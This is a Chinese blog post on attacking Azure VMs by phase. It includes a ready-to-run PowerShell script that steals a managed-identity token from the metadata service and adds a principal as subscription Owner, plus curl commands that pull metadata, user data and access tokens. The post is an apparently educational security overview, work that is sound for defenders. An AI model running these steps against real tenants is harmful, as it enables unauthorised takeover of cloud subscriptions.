微软云 VM攻防

VSole2022-04-15 16:40:59

0x01 初始访问

1、元数据

微软云元数据以 REST API 的形式公开。它的根端点是http://169.254.169.254/metadata

微软为其 API 端点实施了一些额外的安全措施——需要特殊的标头:Metadata:true

http://169.254.169.254/metadata/versions 元数据版本,元数据功能会不时更新,但需要在访问时指定版本以保持向后兼容性http://169.254.169.254/metadata/instance?api-version=2021-05-01 实例元数据,实例元数据提供 VM 配置信息。http://169.254.169.254/metadata/attested/document?api-version=2021-05-01 认证数据,认证数据是由Microsoft签名的数据http://169.254.169.254/metadata/loadbalancer?api-version=2021-05-01 负载均衡器元数据http://169.254.169.254/metadata/scheduledevents?api-version=2020-07-01 预定活动,获取VM即将要发生的事件的信息http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ 获取访问令牌

2、凭证泄露

Azure 平台用户名密码泄露、Access token泄露

可能会存在服务帐号密钥的位置,包括:开源项目的源代码库、公共存储桶、遭破解服务的公共数据转储、电子邮件收件箱、文件共享、备份存储、临时文件系统目录

0x02 命令执行

1、添加订阅所有者

从元数据获取Azure Rest API得令牌,如果返回了一个令牌,那么你将拥有一个可使用得托管身份,然后可以利用此令牌和REST API一起使用,在Azure中执行操作。

#---------Query MetaData for SubscriptionID---------#$response2 = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing$subID = ($response2.Content | ConvertFrom-Json).compute.subscriptionId

#---------Get OAuth Token---------#$response = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing$content = $response.Content | ConvertFrom-Json$ArmToken = $content.access_token
#---------List Roles and Get Subscription Owner GUID---------#$roleDefs = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleDefinitions?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).Content | ConvertFrom-Json$ownerGUID = ($roleDefs.value | ForEach-Object{ if ($_.properties.RoleName -eq 'Owner'){$_.name}})
#---------List current Subscription Owners---------#$roleAssigns = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleAssignments/?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json$ownerList = ($roleAssigns.value.properties | where roleDefinitionId -like (-join('*',$ownerGUID,'*')) | select principalId)Write-Host "Current 'Owner' Principal IDs ("($ownerList.Count)"):"$ownerList | Out-Host

#---------Set JSON body for PUT request---------#$JSONbody = @"{    "properties": {        "roleDefinitionId": "/subscriptions/$subID/providers/Microsoft.Authorization/roleDefinitions/$ownerGUID", "principalId": "CHANGE-ME-TO-AN-ID"    }}"@
#---------Add User as a Subscription Owner---------#$fullResponse = (Invoke-WebRequest -Body $JSONbody -Uri (-join("https://management.azure.com/subscriptions/",$subID,"/providers/Microsoft.Authorization/roleAssignments/",$ownerGUID,"?api-version=2015-07-01")) -Method PUT -ContentType "application/json" -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json
#---------List updated Subscription Owners---------#$roleAssigns = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleAssignments/?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json$ownerList = ($roleAssigns.value.properties | where roleDefinitionId -like (-join('*',$ownerGUID,'*')) | select principalId) Write-Host "Updated 'Owner' Principal IDs ("($ownerList.Count)"):"$ownerList | Out-Host

通过添加的用户即可以去管理订阅

2、服务器命令执行

在拿到控制台权限后,可以通过控制台下的运行命令功能来操作虚拟机。



3、SSH密钥泄露

0x03 权限提升

一旦我们可以访问托管身份并确认该身份的权限,我们就可以开始提升我们的权限。

身份是订阅所有者:将访客身份添加到订阅

身份是订阅贡献者:虚拟机横向移动,托管标识可以通过Azure Cli或API在其他虚拟机上执行命令

0x04 权限维持

1、新增服务器

在拿到控制台后,添加一台虚拟机作为后续渗透的跳板。

2、添加角色分配

分配角色时,必须指定一个范围。 范围是访问权限适用于的资源集。 在 Azure 中,可在从广义到狭义的四个级别指定范围:管理组、订阅、资源组或资源。

在顶部的“搜索”框中,搜索要授予对其的访问权限的范围。 例如,搜索“管理组”、“订阅”、“资源组”或某个特定资源 。



再用添加的用户去访问,可以控制该订阅下的所有资源。


3、恶意镜像

我们可以通过创建镜像功能来创建恶意镜像。

0x05 信息收集

1、元数据

微软云元数据以 REST API 的形式公开。它的根端点是http://169.254.169.254/metadata

获取实例元数据,实例元数据提供 VM 配置信息

curl -H Metadata:true http://169.254.169.254/metadata/instance?api-version=2021-05-01

获取认证数据

curl -H Metadata:true http://169.254.169.254/metadata/attested/document?api-version=2021-05-01

获取负载均衡器元数据

curl -H Metadata:true http://169.254.169.254/metadata/loadbalancer?api-version=2021-05-01

获取网络信息

curl -H Metadata:true http://169.254.169.254/metadata/instance/network/interface/0?api-version=2021-01-01

获取用户数据

curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text" | base64 --decode

获取访问令牌

response=$(curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s)access_token=$(echo $response | python -c 'import sys, json; print (json.load(sys.stdin)["access_token"])')echo The managed identities for Azure resources access token is $access_token

2、资源信息

通过控制台所有资源查看该账户下所有资源。

3、订阅信息

组织可以有多个订阅,订阅名称通常提供信息。

4、用户信息


0x06 横向移动

1、虚拟机横向移动

2、控制台

通过拿到弱口令或者添加用户到订阅后,登录控制台可以去控制当前订阅下其他虚拟机。


0x07 影响

1、子域名接管

当域名对应的实例销毁或者当实例重新启动后对应的公网ip发生变化,但域名还是指向原来的公网ip,此时会存在子域名被接管的风险,但是由于公网ip的随机性,此攻击的利用成本较大。


0x08 总结

整体而言,微软云VM下的攻击手法主要还是由于凭证泄露、配置错误这类问题导致的。

0x09 参考

  • https://docs.azure.cn/zh-cn/virtual-machines/windows/instance-metadata-service?tabs=linux
  • https://docs.azure.cn/zh-cn/active-directory/managed-identities-azure-resources/how-to-use-vm-token
  • https://docs.microsoft.com/zh-cn/azure/virtual-machines/linux/run-command
微软云元数据
本作品采用《CC 协议》,转载必须注明作者和本文链接
微软 VM攻防
2022-04-15 16:40:59
0x01 初始访问 1、数据 微软数据以 REST API 的形式公开。它的根端点是http://169.254.169.254/metadata 微软为其 API 端点实施了一些额外的安全措施——需要特殊的标头:Metadata:true
从攻击的角度来讲述横向移动的使用
安全初创企业往往是试图解决关键长期问题的创新领头羊。此处为读者奉上其中颇具看点的几家,这几家安全初创企业解决的是多云安全、身份管理、零信任等方面的问题。 如果想要知道网络安全领域的新动向,那看初创安全供应商正在做什么就对了。他们往往从创新想法开始,不受已成型主流方法的限制。初创企业要解决的问题通常是其他人没有解决的。
麻省理工学院教授Stuart E. Madnick最近撰写的报告中显示,2013年到2022年间,数据泄露事件增加了两倍,2023年成为创纪录的一年。 报告强调攻击者越来越擅长对配置错误进行攻击,并利用不安全的端到端手机加密,勒索软件越来越猖獗。
数据作为新型生产要素,与计算、大数据、人工智能等新兴技术深度融合,促进社会生产力以前所未有的速度发展。以数据为基础资源,我国将数字经济作为国家战略进行实施,并强调数据安全是数字经济健康发展的基本保障。当前的数据环境更加开放,共享利用更为频繁,数据呈现来源广、规模大、结构丰富、处理行为多样、拥有权与使用权分离等特点,针对数据面临着被恶意窃取、篡改、删除、非法使用等威胁和技术挑战,以密码技术为核心,
数据安全研究
2021-09-26 08:14:19
随着人工智能、计算、移动互联网和物联网等技术的融合发展,传统的基于边界安全域和基于已知特征库的网络安全防护方式已经无法有效应对大数据环境下新的安全威胁。
全文共5066字,阅读大约需10分钟。RSA Conference 2023将于旧金山时间4月24日正式启幕
可以认为IAM分成两类,一个是AWS提供的IAM,这是一个完整的身份管理系统,但AWS只提供了系统,基于该系统的配置及信息维护,由客户完全负责。AWS 提供了虚拟网络及其之上的VPC,子网,ACL,安全组等,客户需要准确设计配置自己的网络,以确保正确的隔离和防护。用户控制权限的修改通常由特权用户或者管理员组实现。
1月4日美国Broward Health公共卫生系披露了一起大规模数据泄露事件,该医疗系统在2021年10月15日披露了一起网络攻击事件,当时一名入侵者未经授权访问了医院的网络和病人数据
当前,以数字经济为代表的新经济成为经济增长新引擎,数据作为核心生产要素成为了基础战略资源,数据安全的基础保障作用也日益凸显。伴随而来的数据安全风险与日俱增,数据泄露、数据滥用等安全事件频发,为个人隐私、企业商业秘密、国家重要数据等带来了严重的安全隐患。近年来,国家对数据安全与个人信息保护进行了前瞻性战略部署,开展了系统性的顶层设计。《中华人民共和国数据安全法》于2021年9月1日正式施行,《中华人
VSole
网络安全专家